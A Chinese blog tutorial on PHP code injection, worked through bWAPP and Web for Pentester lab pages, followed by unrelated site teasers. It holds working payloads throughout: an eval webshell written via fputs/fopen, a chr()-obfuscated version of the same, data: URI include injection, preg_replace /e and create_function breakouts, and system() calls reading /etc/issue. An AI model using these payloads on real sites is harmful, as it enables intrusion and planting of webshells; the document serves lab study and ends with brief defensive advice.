从bwapp学PHP代码注入

0x00 背景

在bwapp的注入部分有一个个php injection,这是第一次接触,在做题的过程中查阅各种资料学习这里总结一下

0x01 PHP命令执行函数

遵从几位学长的建议对于PHP的学习都是需要的时候才去看一下,所以理解的程度并不深。这里从网上收集了一些PHP能够执行命令的函数。详情请看php执行函数

0x02 bwapp下实例

在php injection的源代码可以看到只有low等级的对于message参数前有eval执行函数,midium和high都只是使用echo打印到页面之上。因此直接在message的值写为phpinfo()就能执行该函数。

在网上看到一个相较高级的利用办法是利用fopen来写入一个php文件,相当于实现了文件上传的功能,要想在实际环境中实现需要考虑很多绕过的情况,但是想法不错!

http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')

这样的话就会在phpi的同级目录之下生成一个haha.php文件,使用菜刀连接就好。

medium与high就直接忽略掉了。

0x03 文件包含

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

test.php代码如下:

<?php include($_GET['a']) ?>

提交a的值:

http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E

提交之后就能正常执行phpinfo()了

0x04 preg_replace正则替换

这个函数的定义形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

pattern参数的利用

pattern即第一个参数的代码注射。当magic_quotes_gpc=Off时,导致代码执行。

例:<?php echo $regexp = $_GET['reg'];

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp", '\\1', $var);

?>

当提交?reg=%3C\/php%3E/e时就会执行var中的语句

②使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行

例如:

<?php  

echo preg_replace("/test/e",$_GET["h"],"jutst test");

 ?>/*当提交的h参数为phpinfo()就会被执行,当执行以下经过chr函数绕过的会生成一个新的php文件

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);

0x05 动态代码执行

这一类一般是从用户处获得了多个参数,然后有一个可以用来执行其他的语句。

<?php   $a = $_GET['a'];         $b = $_GET['b'];        $a($b);   ?>

提交a=system&b=ipconfig   就能成功执行ipconfig命令

还有一种是使用了create_function()函数

string create_function  ( string$args   , string$code   ) 即第一个参数指定创建函数的参数,第二个就是创建函数的代码部分。

create_function('$name', 'echo "hello".$name;'))等价于

function fun($name){ echo "hello".$name; }

实验代码:

提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())

0x06 实例

http://www.exploit-db.com/exploits/18565/  LotusCMS 3.0 eval() Remote Command Execution

影响版本:

LotusCMS version 3.0.3

LotusCMS version 3.0.5

漏洞描述:

在LotusCMS 的index.php 文件中调用router 构建函数,然后在lcms/core/lib/router.php 中page 这个参数被带入,由于未经任何过滤可以产生该漏洞。


也可以像上面提到的一样利用执行函数的特性来写入一个文件

3.案例-2:

http://www.exploit-db.com/exploits/35183/ X7 Chat 2.0.5 preg_replace() PHP Code Execution

影响版本:X7 Chat version 2.0.5

漏洞描述:

漏洞的产生最终是由于/lib/message.php 下的第119 行的preg_replce()函数导致,这里引用了/e 修饰符,并且未经过严格过滤最终导致任意代码执行。

案例演示:

1. 首先需要注册一个用户

2. 利用注册的用户登录

3. User CP –>Offline Msgs –>创建一个项目链接–>Send

或者直接GET 如下代码

之后可以看到成功创建一个项目,当打开创建的项目可以看到利用代码被成功执行

Metasploit 更新了漏洞利用模块,可以利用该模块演示一下被利用的场景

PHP create_function()

1.在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。

Code:

PHP unserialize

Code:

提交语句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

PHP assert

Code:

提交语句:http://127.0.0.1/test/assert.php?test=phpinfo();

0x07 代码执行绕过

前面将一些常见的易造成PHP代码注入的函数介绍了一下。接下来将以web for pentester中的案例来演示一下,一些简单的php代码执行的绕过。

案例演示:

example1.php

代码:

解决方案:

查看代码我们可以看到,这里使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。具体案例可以到这里学习【php4fun.sinaapp.com PHP挑战通关攻略】。但是我们可以通过${${ }}这样的方式绕过,从而继续执行代码。

提交语句:

http://target/codeexec/example1.php?name=${${phpinfo()}}

example2.php

代码:

解决方案:

我们看代码,造成造成代码注入的重点在被加红的区域也就是create_function()的不当使用,我们可以这样构造);}phpinfo();//,从而继续执行我们的命令。【这里解释一下);}是闭合了前面的代码,而//则是将后面的内容注释掉】

提交代码:

http://target/codeexec/example2.php?order=id);}phpinfo();//

example3.php

代码:

解决方案:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造

new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

提交代码:

http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

example4.php

代码:

解决方案:

如此构造即可:hacker’.system(‘cat /etc/issue’).’

提交代码:

http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’

0x08 代码防御

尽量不要执行外部的应用程序和命令

在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。

使用自定义的函数或者函数库来实现相关的需要命令功能

0x09 相关参考

代码审计典型语法结构

PHP代码执行漏洞总结

cn2.php.net

慎用preg_replace危险的/e修饰符(一句话后门常用)

Web攻防系列教程之浅析PHP命令注入攻击

文中后半部分来自千域千寻,PHP Code Injection Analysis

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容

  • PHP代码执行函数 eval & assert & preg_replace eval 函数 php官方手册:ht...
    xaviershun阅读 5,066评论 1 12
  • 事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总...
    查无此人asdasd阅读 371评论 0 0
  • PHP:include()``include_once()``require()``require_once() ...
    寻梦xunm阅读 845评论 1 4
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 20,698评论 2 13
  • 遗留代码重构的原因: 风险: 详情链接:浅谈遗留代码的重构 从以下几个方面谈谈重构 1. 整理资源文件 删除未使用...
    不吃鸡爪阅读 3,563评论 0 16